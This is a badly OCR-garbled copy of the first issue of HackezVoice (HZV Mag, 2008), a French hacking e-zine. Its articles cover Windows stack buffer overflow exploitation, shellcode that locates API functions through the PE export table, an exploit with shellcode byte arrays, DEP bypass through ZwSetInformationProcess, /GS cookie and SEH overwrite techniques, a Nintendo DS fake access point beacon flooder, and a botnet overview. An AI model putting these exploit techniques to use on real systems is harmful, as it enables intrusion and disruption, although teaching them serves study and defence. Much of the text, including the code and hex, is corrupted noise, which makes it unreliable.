Home
Hzv mag #01 - Free Home Page
Contents
1. 55 u e m I Fam ne E Lu 33 l on DIE mai E l E RW F CT EE n waa ds bos 2 7 E e dub d LB B Pu e m EE EURE pnm mq E la Le BR E ut E LE EM E T P F p EST E zy Kz m uL LT d dk dw ua ba DT Vize FAT Henr LEAVE 1 m RETE D um m Notre programme tant compos de fonction il est cessaire de mettre en oeuvre une petite technique pour allouer partie de la pile une fonction afin que cette fonction utilise comme bon lui semble Seulement lorsque nous arrivons la fin de la fonction nous devons faire en sorte que le registre EIP pointe dans le code principal afin d ex cuter le programme et ses fonctions dans son int gralit Pour cela une ruse a t mise en place c est celle de du prologue et de l pilogue Lorsque le processeur va rencontrer l instruction call il va poser sur la pile la valeur du registre EIP et ensuite saut sur la fonction appeler En clair l instruction call est assimilable la suite d instruction suivante push EIP jmp fonction Nous arrivons pr sent sur ce que l on appel le pro logue Celui ci correspond la suite d instruction sui vante
2. HackezVoice 1 Octobre 2008 E ES m d H r L Coa I Pod 333 longitude 17 E latitude 24 N Jour 1 2070 ap JC Rah F A z B x f 63 HackezVoice 1 Octobre 2008 transfert effectu Centrifuge n B4 Homo sapiens n de type Rien signaler _ t aucasien Ok c est le gt d transfert classe sup we AE Tuas d j eu les consignes N tu t en occupes qu rani la temp i N H de l air est de 47 HS d inoculati 747 CBZ HackezVoice 1 Octobre 2008 que Gm i a E L i La da e WI 3 Ed D ri a d i s emm p MS 412 SE Enfin la voil il faut que je lui signale que votre sujet sp cial dispose d j de l u grada anti virus gouv firme issus de la mouvance r sistance s cu social nm 64 C est la premi re fois que Demian met les pieds dans cette partie du globe L orient c est un des rares continents qu il ne conna t pas Au cours de ses diff rentes escapades il a pourtant eu l occasion de se rendre peu pr s partout sur la surface du globe voguant d un pod un autre en se jouant des fronti res Mais il r alise en arrivant Rahi qu il lui reste encore quelques endroits d couvrir ici bas HackezVoice 1 Octobre 2008 Dans les rues l air est si chaud qu il l exho
3. M Pg rames aire iam Bas Ta Preme susp rail eagra 1n cares avr Cette fonction Wifi RawTxFrame permet d envoyer des paquets Wifi directement au niveau de la couche 802 11 autrement dit la DS supporte l injection En effet il est alors assez simple d envoyer des frames 802 11 forg s POLLUONS AVEC JOIE Avec cette biblioth que nous allons pouvoir bombarder les alentours de la DS avec des faux frames 802 11 Mais c est mieux si on en fait une application pratique comme par exemple un g n rateur de fake AP On appelle lt fake AP gt un faux point d acc s Wifi si mul tout simplement en envoyant des frames particu liers appel s Beacon frames en falsifiant le SSID et la mac du point d acc s ce que permet entre autre le composant WiFi de la DS Voyons comment impl menter cela La g n ration al atoire des SSIDs est assez simple Nous allons utiliser un Beacon acceptant un ESSID de sept caract res Il suffit simplement de les g n rer al atoire ment parmis les 26 lettres majuscules de l alphabet En C cela donne quelque chose comme ceci void GeneradeFalseSSITWunsignes char Saa int 1 Fe sand 7 far EE ECT FE 1 int A randChar ek On passe un pointeur sur le buffer g n rer et la fonc tion se charge du reste On va faire de m me pour l adresse MAC mais avec quelques limitations en effet
4. mov ebp 0x4 edx On stocke la Base dans la pile mov edx edx 0x3c R cup ration du header de PE MM add edx ebp Ox4 Adresse de Base mov edx edx 0x78 R cup ration de l adresse de Export Tablc add edx ebp 0x4 Adresse de Base mov ebp 0x8 edx Stockage dans la pile de Export Table xor eax eax sation du registre mov ebp Ox 0c eax mise a z ro des variables de la pile mov ebp Ox 10 eax mov ebp 0x14 eax mov ebp 0x18 eax add edx 0x20 Tableau des noms de fonction EXE mov edx edx add edx ebp 0x4 Adresse de Base mov ebp 0x18 edx On stocke notre variable dans 1 pile Arriv ce stade nous disposons de l adresse de notre tableau des noms de fonction consign dans notre RVA soit ebp 0x8 Reste maintenant faire la correspondance entre les ordinaux les noms de fonctions et les adresses Nous utiliserons alors un principe de comparaison de DWORD afin de trouver le nom des fonctions Deux compteurs permettent de g rer un Index comparable aux ordinaux Nous poursuivons HackezVoice 1 Octobre 2008 13 HackezVoice 1 Octobre 2008 leave S il faudrait quitter ret jmp search fct Routine recherche de fonctions Check proc addr Recherche de GetProcAddress ecx ecx XOR sation de Ecx ebp Oxc ecx On v rifie si on a pas encore trouv jne return mov ebx ebp 0x18 Adresse de notre ch
5. 9 D e du mih T E luo EI UP an Fa ul umm SS Lors de l emlogue Fm d i POP EBP L I PPR FE wmiremeni dii 76 98 SR I C est pour cela qu afin de travailler avec une pile propre nous allons utiliser la fonction LdrpCallInitRoutine com me interm diaire celle ci est contenue dans ntdll dll 7C9111983 5 55 PUSH EBP 7C911194 SBEC MOV 7C911196 56 PUSH ESI 7C911197 e 1 C9311199 4 ed PUSH EBX 7C911199 MOV Bal 7C91119B FF 5 L PUSH DWORD FTH S5 EBPt tl4 JCSILIIS9E FF 5 PUSH DWORD PTR SS EBP 10 7C9111A1 FF75 PUSH DWORD PTR 55 C9111A4 FF55 08 CALL DWORD PTR 55 7 9111 7 MOV 111 EBX 1 9111 nu POP EDI 7C9111AB 9111 20 9111 1000 RETN 10 Si vous regardez quelque peu la fonction constate qu elle va attribuer au registre pr sent r crit donc corrompu la valeur du registre ESP nous conser vons alors de bonne valeur au niveau des registres ESP EBP ce qui va nous permettre de faire un retour sur notre shellcode en dernier lieu Cette fonction va nous permettre d appeler des fonc tions de notre choix par le biais de l instruction 7 9111 4 FF55 08 CALL DWORD PTR SS 8 Il nous suffit donc de r crire 8 avec l adresse de la fonction
6. Incr mente compteur sur octets pute count Ecriture du caract re XORis fclose in Y Cl ture du fichier en lecture felose out y Cl ture du fichier en criture printf Encryption finie n retum 0 Exit HackezVoice 1 Octobre 2008 10 Un ShellCode doit tre cod dans un langage de bas niveau comme l assembleur Pour nos exemples prochains nous utiliserons NASMW version de Nasm en mod le 32 bits pour Windows Il existe diff rentes m thodes afin de d velopper un ShellCode selon nos aspirations et pr tentions Effectivement un code simple utilisera les quelques fonctions d j sollicit es par l application vuln rable Un d sassemblage du programme suffit obtenir les diff rents imports et leurs adresses Malheureusement une telle m thodologie est astreignante car elle nous limite grandement dans le cadre du d veloppement d un ShellCode Pourquoi Les OS Windows ont une gestion des librairies et fonctions diff rentes selon les versions services pack voire m me la langue d usage Ainsi il n y a pas de correspondance entre une fonction quelconque sur XP SP1 Co r en et l API quivalente sur Win2000 NT Pro SP4 Nous sommes donc oblig de coder notre ShellCode sur un environnement de travail identique celui de la cible ou alors il nous faut tre tr s bien inform D s lors nous oublions d embl e cette m thode trop incertaine nomm
7. l origine des robots d administration c est dire des programmes informatiques localis s sur une ou des ma chines distantes dites esclaves r alisant toute une s rie d actions automatiques sur un ou plusieurs serveurs qui furent progressivement d tourn s de leurs fonc tions premi res pour devenir des outils de pirates 1 Principalement utilis s dans la gestion des canaux IRC Internet Relay Chat discussion relay e par Internet l outil d administration populaire d tourn le plus e pointe se nommait Eggdrop ponte d oeuf 2 le jour 3 Depuis d autres nuisances informatiques virent CT Contr l s distance par un brotherder ou master cr ateur et utilisateur op rateur de botnets ce groupe d ordina teurs ou de serveurs esclaves zombies 4 d vi furtivement dans les cas d ac tions malveillantes aura pour objectif en amont de se connecter sur ou plu 1 sieurs serveurs ma tres IRC Web Mail etc pour propager en aval ses instruc tions sur de nouvelles machines Ainsi le f nt serveur maitre servira t il de passerelle pour propager ses programmes infect s dans un ensemble de supports informa tiques annexe Ces derni res machines joueront leur tour le r le de sergent recruteur d multipliant grande chelle le processus engag En retour ces machines infect es indiqueront leurs pr sences et leurs attentes d actions a
8. mov chp var 4 Etat de la pile apr s le GC cop prologue et l allocation gd ere eene eal dg security check security check eookie x avec la s curit mise en place par Visual C mov esp bp d pop ebp nAn La premi re que l on voit lt d anormale gt par rapport au binaire pr c dent c est la pr sence du call 4 secu rity check cookie 34 apr s notre call strcpy Garer Allons voi ce qui se passe dans ce call emp security cookie jnz short loc 401094 ex tOO 1094 Look GS LHP Suivons le jmp dian call ds imp IsDe buggerPresent 0 IsDebuggerPresent mov DebupgerWasPresent ent debugger hook Ska marce pop push 0 IpTopLevelExceptionFilter call ds imp SetUnhandledExceptionFiltergi4 SetUnhandledExceptionFilter x push offset GS ExceptionPointers Exceptionlnfo call ds imp UnhandledExceptionFilteri4 UnhandledExceptionFilter x emp Debugger WasPresent 0 jnz short Joe 401437 push 1 call debugger hook arra ec pop ecx HackezVoice 1 Octobre 2008 33 HackezVoice 1 Octobre 2008 Vous vous demandez peut tre maintenant comment ce cookie est g n r Celui ci est g n r avec un code qui ressemble celui la Voir article originel 26 emclhude tdi ka Einclude windowz B gt don FILETIME ft unsigned int Cookiez0 ins
9. Dans un monde en constante volu tion la derni re des v rit s est celle de l enseignement la pratique PHOTO ACISSI NFIN mis flot Depuis maintenant 2 ans nous cherchions une solution pour continuer un travail d information et de p dagogie sur la s curit in formatique c est enfin chose faite Librement t l chargeable au format pdf nous partagerons ici sans complexe et sans retenue les diff rentes techniques et m thodologies de ceux qui utilisent leurs connaissances pour nuir et conqu rir par le mensonge et la corruption des syst mes Nous avons galement choisis d offrir une tribune libre toutes celles et ceux qui souhaitent partager leur connaissance dans le domaine de la s curit de l infor mation Bien plus vaste qu au premier abord l information est partout et sous diff rentes formes Du signal binaire cod mit dans un fil aux derni res news des journaux t l elle est l instrument du pouvoir et c est ici que vous comprendrez comment une machine qu elle soit lectronique ou humaine est faillible et permet la manipulation de la v rit et la domination de toute part Mais place ici la premi re version d HZV Mag qui non sans d faut ravira nous l esp rons celles et ceux qui souhaitent comprendre tout les rouages du hacking et de ce fait combattre l ignorance g n ral Alias Ont particip ce premier num ro Alias hackerzvoice net Apophis Celelibi
10. man tisse le nombre 4 2 Les nombres flottants sont cod s sur 32 bits dans ceux ci il y a un bit de signe qui indique si le nombre est positif ou n gatif 8 bits d exposants et 23 bits de mantisses Ce qui devrait nous donner une formule du genre 1 s 1 M 2 e 127 avec s M et e les suites de bits r el lement stock es Cette formule barbare dit que si le bit de signe s vaut 1 alors on multiplie le nombre par 1 sinon on le multiplie par 1 Le e 127 donne l exposant le e est ce qui est stock en m moire on soustrait 127 de fa on per mettre des exposants n gatifs et donc les nombres in f rieurs 1 Le 1 M est une commodit pour crire que tous les bits de M se trouvent apr s la virgule avec un 1 avant la virgule En effet en notation scientifique il faut toujours avoir un et un seul chiffre avant la vir gule et celui ci doit tre diff rent de 0 donc en binaire ca ne peut tre que le chiffre 1 C est donc inutile de le stocker dans M puisqu il sera toujours le m me Une criture math matiquement correcte du 1 M serait 14 M 2 23 mais peu importe Le nombre 0 625 serait donc crit 0 101 en binaire soit 1 01 2 1 ce qui s crit aussi 1 1 1 01 2 126 127 Ce qui nous donne donc une fois encod 1 01111110 01000000000000000000000 Mais c est pas encore tout fait comme que les nom bres flottants sont stock s en effet comme pour l
11. push ebx call edi Le voici end start ir shelleodei Dans celui ci rien de nouveau les m mes u T Ta OC 3 CO ca BER D SP uc TD P TE Paca Tia T 36 72 techniques utilis es que ci dessus c est a Ba 7a ITP Rh Remplacer 72CROTDITT par adresse de Load ilsraryA pour cela que nous le detaillerons pas uc Ss o PES D oc Poe iiiw Nie eau Tasa 53 lus Pa aBPas ADS ICRA TE Remplacer 7ENXISRA par l adresse de MessageloaA a FPaDDxs3 par ladresse de ESAPI xFPwD7 7 59 Celui ci fait une taille de 58 octets ce qui est assez raisonnable le voil On peut donc exploiter notre pr c dent code avec notre shellcode c est appr ciable m Exploit 1 avec Sbellcode perso Pour hzv par QOverclOk Creation du processus 55 m a a m Lwnz wvounr SstAackzzi HackezVoice 1 Octobre 2008 Exploit 1 1 Octobre 2008 char shellcodel x33 3x DB c5 aA ZE SX TR GS GE 6 Po 6 luet Dun 63 s 6D 33 SC 6x TOC Tw TAS x68 5 Ta 5 0x 5C 7 3x 6B dx AE AF Ta A SC AED wb bw t ie w is 7 Remplacez 7C86136D par l adresse de votre WinExec BC oc A ue D n Six FE DY BPa DA CDS TC Remplacez 7C8ICDDA par l adresse de votre ExitPracess Nous pouvons aussi proc der l exploitation
12. www ivanlefOu tuxfamily org tp www ghostsinthestack org B D E US ct cr rr rt C Cr dits photos Dark Schneider Acissi net HI IPz Z WMWB MCISSI NE HackezVoice 1 Octobre 2008 HackezVoice Z1 Octobre 2008 P2P APR S THE PIRATEBAY THE CRYPTBAY Il n y a pas qu en France que les gouvernements votent des belles lois tordues pour mettre sous contr le cette zone de libre change qu est devenue l Internet En de face une loi rendant toute coute gouvernemental l gal le c l bre site de tracker de fichier BitTorrent the PirateBay d cid de r pliquer par le tout crypt Le site ayant d j install le SSL pour emp cher ses uti lisateurs de se faire couter il lance cette fois un projet au doux nom de IPETEE Ce projet a pour but de fournir un logiciel simple et multiplateforme cryptant toutes les communications de l utilisateur via un simple change de clef rendant toute coute plus difficile entre deux ordinateurs utilisant le logiciel Le projet est encore en d veloppement mais devrait tre disponible sous peu INTERNET LA SAGA DE LA FAILLE DNS MONDIALE Dan Kaminsky un expert en s curit a fait une d couvert int ressante cette t En effet une faille DNS de grande ampleur permettait des pirates de rediriger l adresse d un site vers n im porte quel autre Craignant la panique g n rale Dan Kaminsky
13. 47 47 48 48 44 47 47 46 46 46 46 46 etc Nous prenons maintenant uniquement les bytes qui pr sentent les pixels de l image bmp cadre rouge HackezVoice 1 Octobre 2008 59 5 Nous voulons retrouver le message nous relisons l image Pour ressortir les donn es binaires il suffit de reprendre chaque byte de la photo et pour chaque nombre pair on met un 0 et pour chaque nombre impair on met un 1 48 49 49 48 48 48 46 47 gt 01100001 gt a 46 53 53 52 48 48 49 46 gt 01100010 gt b 46 47 47 48 48 44 47 47 01100011 gt c Etape suppl mentaire Transformation d un nombre d cimal en nombre binaire Nous allons transformer le caract re ASCII dont la valeur d cimale est 97 97 2 48 reste 1 48 2 24 reste 0 24 2 12 reste 0 12 2 6 reste 0 6 2 3 reste 0 3 2 1 reste 1 1 2 0 reste 1 Nous mettons la suite de chiffres binaires sur 8 bits dans l ordre ce qui donne 01100001 Transformation du nombre binaire 01100001 en nombre d cimal 2 0 1 1 0 0 0 0 1 24 2 6 272 2 4 2 3 2 2 270 0 64 32 0 0 0 0 1 L addition de 64 32 1 nous donne bien 97 et nous obtenons donc de nouveau le caractere 1 Les diff rents formats jpg sont totalement diff rents 2 Le caract re signifie la puissance La Table ASCII 1l X 07 wi 16 j Gr get HE b i Z WB ET
14. Cependant comme nombre de protections celle ci peut tre d jou de plusieurs fa ons nous traiterons donc deux explications th orique afin de mettre en p ril cette protection Return into ZwSetInformationProcess Les techniques li es l exploitation de stacks overflows sont assez nombreuses le retour dans une fonction est celle qui va nous int ress Le but de cette attaque est non pas de r crire la sauvegarde du registre EIP par l adresse de notre shellcode mais d y placer l adresse d une fonction afin d ex cuter celle ci Cette attaque contraint donc l attaquant pr parer la pile afin que la fonction appel poss de les arguments dont elle a besoin sur la pile Microsoft lors du d veloppement de la protection c est rapidement rendus compte que de nombreux programmes ne pourraient fonctionner avec un tel dispositif c est pour cela qu ils d velopp rent le DEP avec une optique de configu ration individuelle par processus Tout d abord vous pouvez configurer celle ci en ETAT passant par le boot ini avec l option NoExecute et zir les flags AlwaysOn AlwaysOff par exemple La fea M fetlafosparlentrecess ture la plus int ressante pour nous est la fonction l NtSetInformationProcess 29 export par ntdil dil et ir PIOCOSSHandle d finit par le prototype suivant ah la raga ipei TE E Cette fonction va nous permettre tout simplement de d sactiver le support mis pl
15. RBot UrBot UrXBot SpyBot mIRC based Bots GT Bots DNSXBot Q8Bot Kaiten Netsky Bangle etc 4 Un tel r seau est le plus couramment compos d une centaine plusieurs milliers de machines 5 Ces man uvres n ont pas le monopole des cyber Elles peuvent tre le fait de gouvernementaux de renseignement ou militaires qui sont la pointe de ce que l on nomme la cyberguerre cyberwarfare criminels services 6 La famille des botherders comprend des solitai res Mais le plus souvent ils communiquent entre eux changent une multitude d informations plus ou moins techniques tablissent des tactiques et des strat gies Certains se regroupent en communaut s plus ou moins stables Tous n ont pas les m mes comp tences informatiques La sous famille des botherders merce naires vend pour sa part au plus offrant ses capacit s d actions sur le r seau des fins commerciales publi veltaires criminelles 7 Technique informatique d ing nierie sociale 8 Ensemble de programmes informatiques destin s poss der les droits d un root d ordinateur ou de r seau 9 La liste des ports pourrait s allonger 42 80 903 1025 1433 2745 3127 3306 3410 5000 6129 10 Attaque saturant la bande passante d un r seau pour le faire tomber ou sur chargeant les ressources d un syst me pour l interrompre 11 Les botnets utiliseront un lien HTTP pour se focaliser sur un site Web cible 12
16. SOSZDSEO 5E POP ESI 7 92 0F84 B72A0200 ntdll C94FEBA ESI contient pr sent la valeur 2 et comme la compa raison sera vraie le bit ZF sera donc mis 1 nous allons donc sauter 7 7C94FEBA gt 8975 MOV DWORD SS EBP 4 ESI 7C94FEBD E9 4AIDSFDFF JMP ntdll 7C92D403 Nous ins rons la valeur du registre ESI l adresse EBP 4 cela implique que le registre EBP ne doit pas contenir n importe quelle adresse sinon une exception sera g n r e et votre exploitation ruin e pr sent nous sau tons 7C92D403 7C92D403 gt 837D FC 00 CMP DWORD PTR SS EBP 41 0 7C92D407 OF85 60890100 JNZ ntdll 7C945D6D Ces instructions v rifie si la valeur contenue l adresse EBP 4 est gale 0 mais en 7C94FEBA nous avons crit a l adresse EBP 4 justement la valeur 2 la comparaison sera donc fausse et le bit ZF aura pour valeur 0 nous allons donc sauter en 7C945D6D 7C945D6D gt 6A 04 PUSH 4 7C945D6F 8D45 FC LEA EAX DWORD PTR bo EBP 4 7C945D72 50 PUSH 945 73 6A 22 PUSH 22 HC945D75 6A FF PUSH 1 C945D77 BI88FDFF CALL ntdll ZwSetInforma tionProcess 7C945D7C E9 CO76FEFF JMP ntdll 7C92D441 C est ici que nous arrivons sur le bloc d instructions le plus int ressant car en effet c est celui ci qui va r ali ser l appel la fonction ZwSetInformationProcess avec les arguments n cessaire la d sactivation du disposi tif de s
17. Stack EBP soit le niveau de base 32 bits Invariable puisqu il s agit du niveau le plus bas inclus gt gt gt allocation BP 16 bits En guise de br ve r vision nous allons aussi voquer les registres autres figure les diff rentes donn es lors de l ex cution d un programme traditionnel Ainsi les habitu s de l assembleur formidable langage de d ve loppement tr s bas niveau seront particuli rement l aise durant la suite de l expos Accumulateur EAX Op rations arithm tiques 32bits inclus allocation AX 16 bits partag s entre AL 8 bits et AH 8 bits Registre auxiliaire EBX Registre de base 32bits inclus allocation BX 16 bits partag s entre BL 8 bits et BH 8 bits HackezVoice 1 Octobre 2008 7 Registre auxiliaire ECX Op ration Count Loop 32bits inclus allocation CX 16 bits partag s entre CL 8 bits et CH 8 bits Registre auxiliaire EDX adresse du port Entr e Sor tie 32bits inclus allocation DX 16 bits partag s entre DL 8 bits et DH 8 bits Registre auxiliaire ESI 32bits dont allocation SI 16bits Registre auxiliaire EDI 32bits dont allocation DI 16bits Registre segment CS Code Segment 16 bits Registre segment DS Data Segment 16 bits Registre segment ES Extra Segment 16 bits Registre segment FS Extra Segment 16 bits Registre segment GS Extra Segment 16 bits Registre segment SS Stack Segment 16 bits Registre d tat et de contr le EFLAGS
18. curit Une fois son ex cution nous sautons en 7C92D441 7C92D441 gt 5 POP EST 7C92D442 Q9 LEAVE 7C92D443 C2 0400 RETN 4 Voil la mani re de proc der pour ce premier contour nement comme vous pouvez le constater l attaque est analogue un ret2libc 32 si bien connu sous linux N anmoins j aimerais attirer votre attention sur les multiples probl mes pouvant tre rencontr dans ce contournement En premier lieu il va falloir r crire intelligemment la valeur de la sauvegarde du registre EBP car comme je l ai pr cis un peu plus haut lorsque nous allons ren contr l instruction MOV EBP 4 ESI devra poss der une adresse o il est possible d crire On peut par exemple utiliser une adresse qui pointe dans la section data d une librairie Le probl me le plus emb tant provient du fait que nous avons un ex cuter deux pilogues de fonctions en l occurrence le LEAVE quivalent aux instructions MOV ESP EBP suivit d un POP EBP et le RETN situ la fin de la fonction truc machin de mrinfo et celui de Ldr pCheckNXCompatibility export par ntdll D s le pre mier pilogue nous allons d piler une valeur de EBP qui proviendra de notre overflow et qui devra respecter la condition cit e plus haut c est dire que la m moire en EBP 4 doit tre writable Voici un petit screenshot de la 38 HackezVoice 1 Octobre 2008 stack pour vous claircir r raj
19. deuxi me partie montrera comment exploiter un d bor dement de tampon simplement sous Windows Nous verrons ensuite comment crire nos propre shel Icodes afin de les adapter nos besoins dans le cas de contraintes sur l exploitation La derni re partie concerne les diff rentes m thodes de protections mises en place par Windows XP depuis le SP2 nous verrons leur fonc tionnement et les m thodes permettant de les contour ner cette partie est la plus technique Tout d abord un petit rappel sur les IPs Commengons avec quelques indications Des notions d assembleur et de C sont n ces saires pour comprendre correctement cet article Des connaissances sur le fonctionnement de Windows notamment au niveau de l organisation de la m moire d un processus vous aideront grandement Vous pouvez vous r f rerez mettre lien ring3 ici OllyDbg 1 est un outil de debug tr s puis sant et intuitif son utilisation vous simplifiera la vie Uti lisez de pr f rence la version 2 0 alpha si des probl mes apparaissent avec la version 1 10 Les codes C de cet article ont t compil s avec GCC version les codes assembleurs ont t d ve lopp s avec Masm32 2 le compilateur assembleur de Microsoft LA PILE Dans cette partie nous allons aborder le fonctionnement de la pile stack en anglais Lorsque votre binaire s ex cute il est mapp en m moire cela veut simplement dire que ses sections vo
20. les trois premiers octets de l adresse MAC correspon dent un identifiant constructeur qui n est pas choisi al atoirement Nous allons donc limiter le nombre de possibilit s sur ces trois premiers octets et assurer une bonne g n ra tion de MAC al atoire void GenerateFalseMae unsi gned cher mac d mt imitialirc random gencrator zi mac 0 9 0 mac 1 randChan 590x20 for 251661 mach randChar 46 Et il ne nous reste plus au final qu impl menter la routine se chargeant d envoyer les beacon frames forg s define FAKE PACKET x804x00 x 00x00 FPxFPXFPFE x FFF FOOD 1 2233 w441x55 00 11 22 33 44 55 28 AXB Ix62ZoABWuXSEWO ux 6d DONO Docs Ox 07 VI RTUOTwO x08 x82 x Bx BBY 24 30 4 Bx 6C 3 x0 PO BO Sx 04 o 00 x0 cO x00 2 01 0 2 01 00 32 04 12 18 60 0 10 define FAKE PACKET SIZE 84 define MAC COPY dst offs mac memepy unsigned char dst offs mac 6 void SendFakeAPFramer Create some fake int i char ssid 8 char msg m w 2 unsigned char pki FAKE PACKET SIZE unsigned char fmac 6 for i70 1 5 TH create a false packet memcpy pkt FAKE PACKET FAKE PACKET SIZE GenerateFalseM mac MAC_COPY pkt 10 fmac COPY pkt 16 fmac CrenerateFalseSS ID amp pkt 38 memcpy ssid amp pkt 38 7
21. me afin de le contourner Certaines fonctions en C ne prennent pas en compte le volume octale des variables qu ils copient en m moire C est g n ralement de strcpy dont on se sert dans les textes classiques qui traitent de Buffer Overflow pour cr er un environnement exploitable Or d autres fonctions peuvent aussi mener a un Buffer Overflow d pendamment de leur utilisation et selon certaines circonstances D s lors il convient de v rifier tout usage d un tampon ainsi que l int grit g n rale d une application Si un doute se porte sur un programme quelconque le plus simple est de faire appel aux bases de donn e qui recensent les vuln rabilit s advisory de ce type ainsi que d autres encore Il existe aussi de nombreux sites comme l excellent Metasploit http www metasploit com qui permettent via des scripts de g n rer des exploits dans un automatisme appr ciable N anmoins il est essentiel de connaitre la m canique du propos avant de choisir la facilit En esp rant que ce dossier aura su vous permettre de dominer la situation propre aux d bordements de tampon bon code tous et 18 REDIRECTION DE FLUX SOUS Ru IK IB Cocowebman cet article je vous propose d tudier les redirections de flux C sous windows Pas joyeux comme sujet hein Et c est pourtant un principe tr s pratique pour se concocter un remote shell C est donc dans cette optique que nous allons comp
22. redacteur hackerzvoice net HackezVoice 1 Octobre 2008 3 LE CODAGE DES DONN ES Celelibil codage des donn es est quelque chose qui perturbe souvent les codeurs en C Particuli rement les d butants lorsqu il s agit de m langer et comprendre comment on passe d une repr sentation haut niveau une repr sentation bas niveau d une donn e POURQUI EST CE INDISPENSABLE D AVOIR DES NOTIONS DE CODAGE d Parce qu en on est souvent en train de jouer avec les repr sentations physiques des donn es que l on manipule De plus lorsque l on fait du reversing entre autres les donn es auxquelles on a acc s sont encod es sous leur forme physique il est donc indispensable d tre capable de comprendre et de donner du sens aux donn es C est tout aussi indispensable pour une compr hension de certains bugs tels que les int overflow QuELQUES G N RALIT S Premi rement il faut bien diff rencier deux choses La repr sentation que l on a des donn es que l on mani pule l id e qu on en a et la vraie repr sentation dans la m moire de la machine Elles ne sont pas toujours identiques et bien souvent on n a pas se soucier de la repr sentation machine des donn es laissant cela au compilateur Ensuite qu est ce qu un codage Loin de moi l id e d entrer dans la th orie des codes nous dirons que c est un ensemble de r gles qui permettent de passer d une criture une autre pour une
23. rentes progressions Le pattern MZ est bas sur une adresse diff rente se lon OS Voici ci apr s plusieurs mod les pour exem ple HackezVoice 1 Octobre 2008 11 HH HH HERE 19 Recherche du pattern MZ 177 00000 NI W2k 4 2 Obtention de l OFFSET relative au PE 77 000 NT W2k 4 3 Recherche de la table RVA partir du PE TIR TOO Ed 4 Correspondance entre ordinaux noms de fonctions et adresses dar g I ect i Pour comprendre un peu les informations contenues dans ces segments pas EE meds besoin d y rentrer en profondeur voici quelques d finitions pr sentes juste m tiers apr s le rep re MZ BEIFEOQQUR A bb SW A EE Ab P X A E A e WI HEI D i 1 d uw E E da AR dam lam ma d E dq gk y Le DWORD l offset 3Ch du hea tua E dE ICC der MZ indique donc l OFFSET du Hombre owma du fichier header PE Ainsi il s agit du rep re suivant afin de d terminer l adres se de notre table RVA partir de maintenant il faut se concentrer sur l ad quation qui existe entre les ordinaux les noms de fonctions et les adresses pour notre exemple GetPro cAddress et LoadLibraryA A l analyse pour bien cerner le principe le plus pratique est de consid rer le rapport sur les exportations de fonctions selon WinDasm A trave
24. ssid 7 MY sprintf msg Fake SSID 95 ssid Wifi RawTxFrame FAKE PACKET SLIZE 0x000A u16 pkt Wifi Update avec cet ensemble de petites routines nous avons d velopp un g n rateur de fake APs pour la Nintendo DS Bien s r vu que le chipset WiFi supporte l injection on peut tout fait envisager d envoyer n importe quel frame et cer tains d entre vous voient certainement d j d autres applications possibles HackezVoice 1 Octobre 2008 47 Pour ma part j ai impl ment cette technique dans un petit outil susceptible d voluer que j ai nomm e WeeDS Cet outil dans la version pr sent e ici n impl mente que la partie Fake AP mais terme contiendra plusieurs outils d attaque ou d information utilisant le 802 11 Ce qui est tr s pratique c est que vous pouvez tr s faci lement emporter cet outil dans vos poches sans trainer de sacoche ou autre A noter qu il existe des homebrews sp cifiques pour Nin tendo DS capables de se connecter sur des HotSpots ouverts dont notemment des clients IRC En ce qui concerne Wee vous pourrez trouver la pre mi re version sp cialement releas e pour ce mag sur mon site 6 Le code source n est pas encore ouvert je termine une impl mentation plus propre mais j ai donn ici l essentiel du code A droite un screenshot de l application tournant en mu lateur c est beaucoup plus pratique pour les screens hots OUTRO L
25. 00401207 5 55 10401208 89 5 PUSH MOV 5 On empile la valeur du registre nous lui donnons ensuite la valeur de ESP qui pointe sur la valeur pr c demment empil savoir la sauvegarde du registre EBP Ceci permet de cr er un espace sur la pile permettant a la fonction de l utiliser normalement Nous allons en suite allouer de la place au sein de la pile gr ce l ins truction 004012DA 83EC 18 SUB ESP 18 Une fois l allocation nous pouvons sch matiser l tat de la pile comme ci apr s Wars des nain ki Tr Espera pnur nare pnis sci Puma ER Et sari le prolo Anmum EAX Ean y Waru Ha hein 26 Le programme suit alors son d roulement Une fois la fonction termin e nous devons revenir dans le code appelant et donc d piler la valeur sauvegard e du registre EIP Pour cela on utilise l pilogue correspondant l ins truction suivante 004012 C9 LEAVE Cette instruction est enfaite assimilable aux instructions suivante MOV POP Le pointeur du sommet de la pile devient donc le poin teur de base de la pile et nous d pilons la sauvegarde d EBP dans bien sur L instruction RETN ce charge de d piler la sauvegarde d EIP dans EIP C est ici que notre faille a
26. 32 bits EXEMPLE D UNE VULN RABILIT Or tout ceci serait parfait s il n y avait pas le grain de sable fortuit c est dire la faute humaine Effective ment on imagine bien la probl matique engendr e par une allocation m moire volontairement limit e dont les donn es viendraient d border hors de la zone impo s e Pour mieux comprendre le principe voici un code simple afin de saisir toute l ambiguit include stdio h gt int main void char string 64 printf Qu est ce que tu me racontes in gets string rintf Texte inscrit gt s n string Notre petit programme demande l utilisateur de ren trer via le clavier une chaine de caract re quelconque Notre d veloppeur l origine du projet pensant bien faire octroie une limite de 64 octets notre variable string C est vrai que de primes abords cela semble tre suffi sant dans le cadre d une simple identification par Login Password ou d une URL de navigateur IE Malheureu sement les choses se g tent si on d passe all grement le volume impos de 64 octets essayez 70 caract res pour voir un peu mieux Pour exemple lorsque le programme nous demandera d entrer notre texte nous crirons une ligne de plus de 64 caract re a valeur hexad cimale 0x61 C est le plantage radical Effectivement une fen tre d aver tissement signale qu il se produit une erreur f cheuse dans la pile erreur qui oblige une cl tu
27. A pr sent nous devons laborer notre technique d attaque souvenez vous plus haut en ce qui concerne le prototype des handlers pour les appeler il faut quatre arguments Lorsque la fonction va donc appel notre handler les quatres arguments se ront pr sent sur la stack L un de ces arguments pointe sur notre pointeur du SEH suivant Voyez vous sur notre screenshot ci dessus en 001 nous avons un pointeur ici r crit sur la prochaine structure SEH Maintenant observons la pile lorsque nous arrivons dans la fonction ExecuteHandler qui res semble a cela 21913799 55 PUSE 2313792 BBEC MOV EBP ESP 313790 5 OC PUSE DWORD DIR 55 ERP4C lt 81379 52 PUSE EDX 1137 0 64 FF35 000000 gt PUSE DWORD PTR 8 0 137A7 64 8925 O00000 MOV DWORD PTE FS3 0 ES 2 3137AE FF75 14 PUSE DWORD PTR 55 14 213781 FF75 10 PUSE DWORD PTR 55 10 313754 FF75 QC PUSH DWORD 55 78137B7 FF75 08 PUSE DWORD PTR 88 EBE H AERCH 18 MOV ECX DWORD PTR 55 19 3137BD FFD1 CALL ECX 3137BF 64 86825 O000000 gt MOV ESP DWORD PTR F5 0 13706 amp 4 8F05 O00000 POP DWORD PTR FS 0 2281 37 BES MOV ESP EBP z58137CF 5D POP EBP 31370 Y C2 1400 RETN L4 